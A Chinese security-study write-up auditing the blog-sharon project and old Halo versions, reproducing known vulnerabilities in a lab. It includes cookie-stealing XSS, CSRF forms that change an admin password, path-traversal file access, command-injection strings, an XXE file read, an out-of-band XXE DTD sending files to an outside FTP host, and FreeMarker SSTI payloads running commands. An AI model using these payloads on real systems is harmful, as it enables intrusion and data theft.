目录

blog-sharon和halo代码审计

目录

https://github.com/qinxuewu/blog-sharon 先用fortify扫描

进去挨个看 # 1.h2-console jndi注入 默认开启h2-console Spring Boot + H2 spring.h2.console.enabled=true JDK < 6u201、7u191、8u182、11.0.1(LDAP) # 2.xss-1 fortify中没有,自己发现的:FrontCommentController这块是评论区的功能 而这个author是注册时候填入的用户名,构造一下: </a> <img src/onerror=prompt(document.cookie)> <!--和halo代码审计 发现无法注册,用户名太长, 把这个放在其他地方试一下,然后重新注册 但其实逻辑不在FrontCommentController,根据思路搜索过来 这块没过滤 再找找,注册时我们可控的几个参数,有没有其他xss触发的地方 blog_url可以 试一下 不行 # 3.重大发现 发现这个博客集成使用了halo的最初版本(5年前的),这是这个项目里的halo,看到使用小于1版本,几乎存在很多漏洞

而这之后halo爆出了很多漏洞 https://github.com/halo-dev/halo/issues?q=is%3Aissue+is%3Aclosed+label%3Avulnerability 然后就挨个对比找漏洞,顺便学习一下halo的其他漏洞 ## 先学halo漏洞 ### xff 第一个是2019-4-4提的 https://github.com/halo-dev/halo/issues/126 请求头添加了一个 X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2 下载时间点最近的之前的版本,因为我找了一下,他没有说明在哪里修复的漏洞,所以只能这么看。 复现 admin主页的div, id="widgetLogsLastestBody",其中的box-body,是Ip出了问题 后端index接口直接获取log,而log是在登录的时候添加的 AdminController.getLogin()用来登录,下面是保存用户信息 LogServiceImpl.save() ServletUtil.getClientIP() -- hutool 这个是服务端配置的问题,x-forward-for字段用于反向代理时标注客户端的ip,多个反向代理多级,用“,”分割。 具体可以看: https://blog.csdn.net/qq_28165595/article/details/126185186 https://segmentfault.com/a/1190000015379116 X-Real-IP则是只记录一个IP Proxy-Client-IP:apache http服务器的请求加的头 WL-Proxy-Client-IP:apache http服务器的请求并且使用weblogic插件加上的头 src思路:这种漏洞大概会在记录IP的地方出现,到处插一下X-Forward-For

xss-2

FrontCommentController /newComment src思路:拼接可能会成功,取决于后台是否过滤 ### xss-3 丝毫没有过滤 ### 任意文件下载 /admin/backup/sendToEmail http://192.168.246.245:8081/admin/backup/sendToEmail?fileName=Users/xjj/sleep.sh&type=../../../../../.. 得到qq邮箱设置一个smtp的密码,用来使用smtp服务 src思路:有fileName想到读取文件,type可能是根据标识选取目录,所以type可以尝试用../../等 ### 任意文件读取 /admin/themes/getTpl src思路:点击模板,getTpl请求读取文件,字符串形式返回内容,可以尝试../../。 ### 任意文件删除 /admin/backup/delBackup 同理上文 ### csrf-1 /admin/tag/save 修改tag为xss

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://127.0.0.1:8081/admin/tag/save" method="POST">
      <input type="hidden" name="tagName" value="m4ra7h0n" />
      <input type="hidden" name="tagUrl" value="123" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

失败原因:login拦截使用session判断,但是浏览器不是会自动加上cookie?并不会 换个浏览器就成功了,看来chrome有保护cookie ### csrf-2 /admin/profile/save

<html>
  <body>
    <form action="http://127.0.0.1:8081/admin/profile/save" method="POST" id="test">
      <input type="hidden" name="userId" value="1" />
      <input type="hidden" name="userPass" value="7fef6171469e80d32c0559f88b377245" />
     <!-- password is admin888 -->
      <input type="hidden" name="userName" value="m4ra7h0n" />
      <input type="hidden" name="userDisplayName" value="a" />
      <input type="hidden" name="userEmail" value="art3mis&#64;art3mis&#46;top" />
      <input type="hidden" name="userAvatar" value="" />
      <input type="hidden" name="userDesc" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var f=document.getElementById("test");
    f.submit();
  </script>
</html>

修改成功,但是登录不上去,估计是数据存储的问题

丝毫没有过滤

csrf-3

/admin/posts/save

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.halo.run/admin/posts/save" method="POST">
      <input type="hidden" name="postStatus" value="0" />
      <input type="hidden" name="postTitle" value="test" />
      <input type="hidden" name="postUrl" value="1554359315872" />
      <input type="hidden" name="postContentMd" value="test123" />
      <input type="hidden" name="postThumbnail" value="&#47;static&#47;halo&#45;frontend&#47;images&#47;thumbnail&#47;thumbnail&#46;png" />
      <input type="hidden" name="cateList" value="" />
      <input type="hidden" name="tagList" value="" />
      <input type="hidden" name="allowComment" value="1" />
      <input type="hidden" name="postPassword" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

rce

https://github.com/halo-dev/halo/issues/134 /admin/themes/clone 丝毫没有过滤 https://www.jianshu.com/p/976b0dd64710

bat中是使用&,bash中使用;
open -na是对的,不能写-an

remoteAddr=a;open -na Calculator.app;
remoteAddr=a;open+-na+Calculator.app;
remoteAddr=a;open<-na<Calculator.app;
remoteAddr=a;/System/Applications/Calculator.app/Contents/MacOS/Calculator;
themeName = 2333

remoteAddr=a%3Bopen%20-na%20Calculator.app%3B&themeName=aaa
remoteAddr=a%3Bopen+-na+Calculator.app%3B&themeName=aaa
remoteAddr=a%3B%2FSystem%2FApplications%2FCalculator.app%2FContents%2FMacOS%2FCalculator%3B&themeName=aaa

执行不成功 他会自动拆分,我们要绕过空格限制

bash执行成功
git clone a;/System/Applications/Calculator.app/Contents/MacOS/Calculator; xxx

但是放到ProcessBuilder就不行了

### xxe https://github.com/halo-dev/halo/issues/423 halo-1.1.3-beta.2版本

run.halo.app.controller.admin.api.MigrateController#migrateHaloOldVersion
run.halo.app.service.impl.MigrateServiceImpl#migrate
run.halo.app.handler.migrate.MigrateHandlers#upload
run.halo.app.handler.migrate.WordPressMigrateHandler.migrate()
run.halo.app.utils.WordPressMigrateUtils.getRootElement

public static Element getRootElement(FileInputStream fileInputStream) {
    try {
        SAXReader saxReader = new SAXReader();
        Document document = saxReader.read(fileInputStream);
        return document.getRootElement();
    } catch (Exception e) {
        throw new RuntimeException("can not get root element");
    }
}

https://www.zhihu.com/tardis/zm/art/571679308?source_id=1005

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///tmp/xxe.txt">
]>

<rss version="2.0"
    xmlns:excerpt="http://wordpress.org/export/1.2/excerpt/"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:wp="http://wordpress.org/export/1.2/"
>
<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>&xxe;</wp:category_nicename><wp:category_parent>test</wp:category_parent><wp:cat_name>&xxe;</wp:cat_name></wp:category>
<wp:tag><wp:term_id>11</wp:term_id><wp:tag_slug>test</wp:tag_slug><wp:tag_name><![CDATA[test]]></wp:tag_name></wp:tag>
<item>
        <title><![CDATA[世界,您好!]]></title>
        <link>http://47.95.7.37:1080/2023/08/19/hello-world/</link>
        <pubDate>Sat, 19 Aug 2023 03:10:53 +0000</pubDate>
        <dc:creator><![CDATA[m4ra7h0n]]></dc:creator>
        <guid isPermaLink="false">http://47.95.7.37:1080/?p=1</guid>
        <description></descripion>
        <content:encoded><![CDATA[<!-- wp:paragraph -->
<p>欢迎使用WordPress。这是您的第一篇文章。编辑或删除它,然后开始写作吧!</p>
<!-- /wp:paragraph -->]]></content:encoded>
        <excerpt:encoded><![CDATA[]]></excerpt:encoded>
        <wp:post_id>1</wp:post_id>
        <wp:post_date><![CDATA[2023-08-19 11:10:53]]></wp:post_date>
        <wp:post_date_gmt><![CDATA[2023-08-19 03:10:53]]></wp:post_date_gmt>
        <wp:post_modified><![CDATA[2023-08-19 11:10:53]]></wp:post_modified>
        <wp:post_modified_gmt><![CDATA[2023-08-19 03:10:53]]></wp:post_modified_gmt>
        <wp:comment_status><![CDATA[open]]></wp:comment_status>
        <wp:ping_status><![CDATA[open]]></wp:ping_status>
        <wp:post_name><![CDATA[hello-world]]></wp:post_name>
        <wp:status><![CDATA[publish]]></wp:status>
        <wp:post_parent>0</wp:post_parent>
        <wp:menu_order>0</wp:menu_order>
        <wp:post_type><![CDATA[post]]></wp:post_type>
        <wp:post_password><![CDATA[]]></wp:post_password>
        <wp:is_sticky>0</wp:is_sticky>
        <category domain="category" nicename="uncategorized"><![CDATA[未分类]]></category>
        <wp:comment>
            <wp:comment_id>1</wp:comment_id>
            <wp:comment_author><![CDATA[一位WordPress评论者]]></wp:comment_author>
            <wp:comment_author_email><![CDATA[wapuu@wordpress.example]]></wp:comment_author_email>
            <wp:comment_author_url>https://cn.wordpress.org/</wp:comment_author_url>
            <wp:comment_author_IP><![CDATA[]]></wp:comment_author_IP>
            <wp:comment_date><![CDATA[2023-08-19 11:10:53]]></wp:comment_date>
            <wp:comment_date_gmt><![CDATA[2023-08-19 03:10:53]]></wp:comment_date_gmt>
            <wp:comment_content><![CDATA[您好,这是一条评论。若需要审核、编辑或删除评论,请访问仪表盘的评论界面。评论者头像来自 <a href="https://cn.gravatar.com/">Gravatar</a>。]]></wp:comment_content>
            <wp:comment_approved><![CDATA[1]]></wp:comment_approved>
            <wp:comment_type><![CDATA[comment]]></wp:comment_type>
            <wp:comment_parent>0</wp:comment_parent>
            <wp:comment_user_id>0</wp:comment_user_id>
        </wp:comment>
</item>
</rss>

POST /api/admin/migrations/wordpress HTTP/1.1
Host: 192.168.246.245:8090
Content-Length: 257
Admin-Authorization: cbdac4f193a44c5c8c3e45a7dc664ee7
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypgMqzgzppDhKTE2U
Origin: http://192.168.246.245:8090
Referer: http://192.168.246.245:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=l8cqZV5aPT1iJyKrmENCNi3U86GQhrDksS-Qd8CQ
Connection: close

------WebKitFormBoundarypgMqzgzppDhKTE2U
Content-Disposition: form-data; name="file"; filename="xxe.xml"
Content-Type: application/xml

/Users/xjj/.halo/upload/2023/8/xxe-fbcbe3a879524dc4bfe987d0fb6a089e.xml
------WebKitFormBoundarypgMqzgzppDhKTE2U--

其逻辑是先解析xml后处理三个内容,wp:category,wp:tag,item

我们将内容回显到wp:categoy中,就是所谓的文章分类

回显到其中的两个名字中

也可以插入到标签中 https://www.cnblogs.com/mysticbinary/p/12668547.html http://www.hackersb.cn/hacker/211.html xxe还有无回显的情况,用到了再说吧。需要的时候找找chybeta的github https://github.com/CHYbeta/Web-Security-Learning

无回显,带换行文件读取尝试

修改/tmp/xxe.txt,使其带换行符

最后使用工具成功的 https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/python/xxe-server.py

这个工具开启了一个端口,模仿ftp的动作做回应接收内容

步骤

  1. 使用EXP/server下工具xxe-ftp-server.py,开启xxe-ftp-server,端口是2121,用作ftp内容接收
  2. web服务器默认端口是9870,其中/files/保存了attack.dtd

    <!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'ftp://47.95.7.37:2121/%file;'>"> %payload;
  3. 将恶意xml代码发送给victor

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
      <!ENTITY % file SYSTEM "file:///tmp/xxe.txt">
      <!ENTITY % dtd SYSTEM "http://47.95.7.37:9870/files/attack.dtd">
      %dtd; %send;
    ]>

    先执行dtd,向远端服务器拿取attack.dtd,然后执行send,携带file发动给ftp服务器。

ssti

https://github.com/halo-dev/halo/issues/440

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ping ggggga.2xxxxxj.ceye.io") }

#### 其他poc

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("Calc"")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

https://zhuanlan.zhihu.com/p/585706459

任意文件读取

id: abc/../../../../halotest
name: test222
author:
  name: test
  website: test
description: A other Halo the2me
logo: http://test.ceye.io
website: https://github.com/halo-dev/halo-theme-tes
repo: https://github.com/halo-dev/halo-theme-anateste
version: 1.1

总结

之后学习一下HuTool,好多都用了 好多图片,手都要抽筋了。。